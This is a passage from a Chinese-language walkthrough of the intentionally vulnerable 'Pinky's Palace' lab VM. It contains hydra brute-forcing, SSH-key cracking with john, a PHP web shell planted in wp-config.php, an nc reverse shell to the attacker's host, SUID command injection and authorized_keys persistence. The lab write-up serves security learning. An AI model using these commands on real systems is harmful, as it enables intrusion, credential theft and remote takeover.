Palace.\n=&gt; aaaaaaaaaaaaaaaaaaaaaa\naaaaaaaaaaaaaaaaaaaaaa<\/code><\/pre>\n<p>\u53ef\u80fd\u5b58\u5728\u6ea2\u51fa\u6f0f\u6d1e\uff0c\u5c1d\u8bd5\u968f\u4fbf\u53d1\u9001\u4e00\u4e0b\uff0c\u770b\u770b\u4f1a\u4e0d\u4f1a\u5d29\u6e83\uff1a<\/p>\n<pre><code class=\"language-python\">python -c &quot;print(&#039;X&#039;*1024)&quot; | nc pinkydb 31337\n\n[+] Welcome to The Daemon [+]\nThis is soon to be our backdoor\ninto Pinky&#039;s Palace.\n=&gt; XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\nH           <\/code><\/pre>\n<p>\u53ef\u80fd\u7b49\u4f1a\u8981\u7528\u7684\u3002<\/p>\n<h3>7654<\/h3>\n<p>\u770b\u4e00\u4e0b\u8fd9\u4e2a\u7f51\u7ad9\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747016.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747016.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226174430490\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u5c1d\u8bd5\u4e00\u4e0b\u4e07\u80fd\u5bc6\u7801\uff0c\u5931\u8d25\uff0c\u5c1d\u8bd5\u7206\u7834\uff1a<\/p>\n<pre><code class=\"language-text\">admin\nroot\npinky\npinky1337<\/code><\/pre>\n<p><code>cewl<\/code> \u751f\u6210\u5355\u8bcd\u5217\u8868\u4f5c\u4e3a\u5bc6\u7801\u5b57\u5178 <code>pass.txt<\/code>\uff1a<\/p>\n<pre><code class=\"language-bash\">cewl -d 1 -w pass.txt http:\/\/pinkydb\n# CeWL 6.1 (Max Length) Robin Wood (robin@digi.ninja) (https:\/\/digi.ninja\/)\nwc -l pass.txt &amp;&amp; head pass.txt\n# wc -l \/tmp\/words.txt \u547d\u4ee4\u7528\u4e8e\u7edf\u8ba1\u6587\u4ef6 \/tmp\/words.txt \u4e2d\u7684\u884c\u6570\u3002\u800c head \/tmp\/words.txt \u547d\u4ee4\u5219\u7528\u4e8e\u663e\u793a\u6587\u4ef6 \/tmp\/words.txt \u7684\u5f00\u5934\u90e8\u5206\uff0c\u9ed8\u8ba4\u663e\u793a\u524d 10 \u884c\u3002\u8fd9\u4e24\u4e2a\u547d\u4ee4\u7ed3\u5408\u8d77\u6765\uff0c\u5148\u7edf\u8ba1\u884c\u6570\uff0c\u7136\u540e\u663e\u793a\u6587\u4ef6\u7684\u524d\u51e0\u884c\u3002\n# 161 pass.txt\n# Pinky\n# WordPress\n# Blog\n# site\n# content\n# entry\n# Hello\n# world\n# Comments\n# March<\/code><\/pre>\n<p>\u5c1d\u8bd5\u7206\u7834\uff1a<\/p>\n<pre><code class=\"language-bash\">sudo hydra -L user.txt -P pass.txt -s 7654 pinkydb http-post-form &#039;\/login.php:user=^USER^&amp;pass=^PASS^:Invalid&#039;<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747017.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747017.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226181844064\" \/><\/div><\/p>\n<p>\u7206\u7834\u51fa\u6765\u4e00\u4e2a\u8d26\u53f7\u5bc6\u7801\u3002<\/p>\n<p>\u5c1d\u8bd5\u767b\u5f55\uff1a<\/p>\n<pre><code class=\"language-apl\">pinky\nPassione<\/code><\/pre>\n<h3>\u767b\u5f55\u641c\u96c6\u4fe1\u606f<\/h3>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747018.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747018.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226182105526\" \/><\/div><\/p>\n<pre><code class=\"language-apl\">- Stefano\n- Intern Web developer\n- Created RSA key for security for him to login<\/code><\/pre>\n<p>\u7ed9\u4e86\u4e00\u4e2assh\u8fde\u63a5\u6587\u4ef6\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747019.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747019.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226182208890\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747020.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747020.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226182303525\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u4f7f\u7528<code>ssh2john<\/code>\u63d0\u53d6hash\u503c\uff1a<\/p>\n<pre><code class=\"language-bash\">ssh2john id_rsa &gt; secret_rsa<\/code><\/pre>\n<p>\u4f7f\u7528<code>john<\/code>\u7206\u7834\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">john --wordlist=\/usr\/share\/wordlists\/rockyou.txt secret_rsa<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747021.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747021.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226183544975\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h3>ssh\u767b\u5f55<\/h3>\n<pre><code class=\"language-bash\">chmod 600 id_rsa\nssh -l stefano -i id_rsa -p4655 pinkydb<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747022.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747022.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226184235699\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>\u63d0\u6743<\/h2>\n<p>\u770b\u4e00\u4e0b\u76ee\u5f55\u7ed3\u6784\uff0c\u770b\u770b\u6709\u6ca1\u6709\u6709\u610f\u601d\u7684\u4e1c\u897f\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747023.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747023.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226220721658\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u73b0\u5728\u6682\u65f6\u65e0\u4ece\u4e0b\u624b\uff0c\u770b\u4e00\u4e0b\u914d\u7f6e\u6587\u4ef6<\/p>\n<pre><code class=\"language-bash\"># \/var\/www\/html \u67e5\u770b\u4e00\u4e0b\u53ef\u5199\u6587\u4ef6\nfind . -writable\n# .\/apache\/wp-config.php<\/code><\/pre>\n<p>\u5199\u4e00\u4e2a\u9a6c\u8bd5\u8bd5\uff1a<\/p>\n<pre><code class=\"language-bash\">&lt;?php system($_GET[&quot;cmd&quot;]);?<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747024.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747024.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226221541752\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u53ef\u8fdb\u884c\u8fde\u63a5\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747025.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747025.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226221740864\" \/><\/div><\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747026.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747026.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226221900864\" \/><\/div><\/p>\n<p>\u53d1\u73b0\u6709nc\u547d\u4ee4\uff0c\u5c1d\u8bd5\u53cd\u5411\u8fde\u63a5\uff1a<\/p>\n<pre><code class=\"language-bash\">nc -e \/bin\/bash 192.168.244.128 1234\n# kali\nnc -lvvp 1234<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747027.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747027.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226222349801\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u83b7\u5f97\u5230\u4e86shell \uff01\uff01\uff01<\/p>\n<h3>\u4e0b\u8f7d\u63d0\u6743\u6587\u4ef6<\/h3>\n<pre><code class=\"language-bash\"># Stefano\ncd \/home\/stefano\/tools\npython -m SimpleHTTPServer 8888<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747028.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747028.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226224533521\" \/><\/div><\/p>\n<p>\u4f7f\u7528\u521a\u521a\u5f97\u5230\u7684shell\uff0c\u770b\u4e0a\u53bb\u611f\u89c9\u4e0d\u662f\u5f88\u597d\u7528\uff0c\u5c1d\u8bd5\u6269\u5c55\u6210\u597d\u7528\u7684shell\uff1a<\/p>\n<pre><code class=\"language-bash\">python -c &#039;import pty;pty.spawn(&quot;\/bin\/bash&quot;)&#039;<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747029.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747029.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226224938142\" \/><\/div><\/p>\n<h3>\u5207\u6362\u5230pinky\u7528\u6237<\/h3>\n<p>\u4e0b\u8f7d\u5230\u672c\u5730\u4ee5\u540e<code>IDA<\/code>\u6253\u5f00\u770b\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-c\">int __cdecl main(int argc, const char **argv, const char **envp)\n{\n  char *v3; \/\/ rsi\n  __int64 v4; \/\/ rsi\n  __int64 v6; \/\/ [rsp+0h] [rbp-60h]\n  char s; \/\/ [rsp+10h] [rbp-50h]\n  __uid_t ruid; \/\/ [rsp+50h] [rbp-10h]\n  __gid_t rgid; \/\/ [rsp+54h] [rbp-Ch]\n  char *s2; \/\/ [rsp+58h] [rbp-8h]\n\n  if ( argc &lt;= 1 )\n  {\n    printf(&quot;%s &lt;Message&gt;\\n&quot;, *argv, envp, argv);\n    exit(0);\n  }\n  s2 = getenv(&quot;TERM&quot;);\n  printf(&quot;[+] Input Password: &quot;, argv);\n  __isoc99_scanf(&quot;%s&quot;, &amp;s);\n  if ( strlen(&amp;s) &gt; 0x28 )\n  {\n    puts(&quot;Bad hacker! Go away!&quot;);\n    exit(0);\n  }\n  v3 = s2;\n  if ( strcmp(&amp;s, s2) )\n  {\n    puts(&quot;[!] Incorrect Password!&quot;);\n    exit(0);\n  }\n  printf(&quot;[+] Welcome to Question Submit!&quot;, v3);\n  rgid = getegid();\n  ruid = geteuid();\n  setresgid(rgid, rgid, rgid);\n  v4 = ruid;\n  setresuid(ruid, ruid, ruid);\n  send(*(_QWORD *)(v6 + 8), v4);\n  return 0;\n}<\/code><\/pre>\n<p>\u8981\u6c42\u8f93\u5165\u5bc6\u7801\uff0c\u5c06\u5176\u4e0e<code>TERM<\/code>\u73af\u5883\u53d8\u91cf\u8fdb\u884c\u6bd4\u8f83\uff0c\u5982\u679c\u5339\u914d\uff0c\u5219\u5c06\u7b2c\u4e00\u4e2a\u7a0b\u5e8f\u53c2\u6570 ( <code>argv[1]<\/code>) \u4f20\u9012\u7ed9\u8be5<code>send<\/code>\u51fd\u6570<\/p>\n<pre><code class=\"language-c\">\/\/seed\nint __fastcall send(__int64 a1)\n{\n  char *ptr; \/\/ [rsp+18h] [rbp-8h]\n\n  asprintf(&amp;ptr, &quot;\/bin\/echo %s &gt;&gt; \/home\/pinky\/messages\/stefano_msg.txt&quot;, a1);\n  return system(ptr);\n}<\/code><\/pre>\n<p>\u57fa\u672c\u5206\u6790\u8868\u660e\uff0c\u8be5\u51fd\u6570\u53ea\u662f\u5c06\u6211\u4eec\u7684\u6d88\u606f\u6ce8\u5165\u5230\u683c\u5f0f\u5b57\u7b26\u4e32\u4e2d<code>&quot;\/bin\/echo %s &gt;&gt; \/home\/pinky\/messages\/stefano_msg.txt&quot;<\/code>\uff0c\u5e76\u5c06\u7ed3\u679c\u5b57\u7b26\u4e32\u53d1\u9001\u5230\u8be5<code>system<\/code>\u51fd\u6570\u3002\u5c1d\u8bd5\u8fdb\u884c\u5229\u7528\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747030.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747030.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226233742061\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u53ef\u4ee5\u770b\u5230\u6211\u4eec\u867d\u7136\u6709\u4e86<code>pinky<\/code>\u7684<code>shell<\/code>\uff0c\u4f46\u662f\u8fd8\u662f\u5c5e\u4e8e<code>stefano<\/code>\u7528\u6237\u7ec4\uff0c\u8fd9\u662f\u56e0\u4e3a\uff1a<code>suid bit<\/code> \u5176\u5b9e\u8bbe\u7f6e\u7684\u662f<code>euid<\/code>\uff0c\u4e0d\u662f<code>uid<\/code>\u3002<\/p>\n<p>\u6240\u4ee5\u6211\u4eec\u8981\u5207\u6362\u5230<code>pinky<\/code>\u7684shell\uff0c\u6700\u7b80\u5355\u7684\u65b9\u5f0f\u5c31\u662f\u901a\u8fc7ssh\u8fdb\u884c\u8fde\u63a5\u3002<\/p>\n<pre><code class=\"language-bash\"># pinky\ncd \/home\/pinky\/\nmkdir .ssh\ncd .ssh\ntouch authorized_keys\necho [SSH_PUBLIC_KEY] &gt; \/home\/pinky\/.ssh\/authorized_keys\n# kali\nssh -l pinky pinkydb -p 4655<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747031.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747031.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226235405973\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u53ef\u4ee5\u53d1\u73b0\u5df2\u7ecf\u5207\u6362\u8fc7\u6765\u4e86\uff01\uff01<\/p>\n<h3>\u5b9a\u65f6\u4efb\u52a1\u9003\u9038\u5230demon\u7528\u6237<\/h3>\n<p>\u67e5\u627e\u4e00\u4e0b\u53ef\u5199\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-bash\">2&gt;\/dev\/null find \/ -writable | grep -Ev 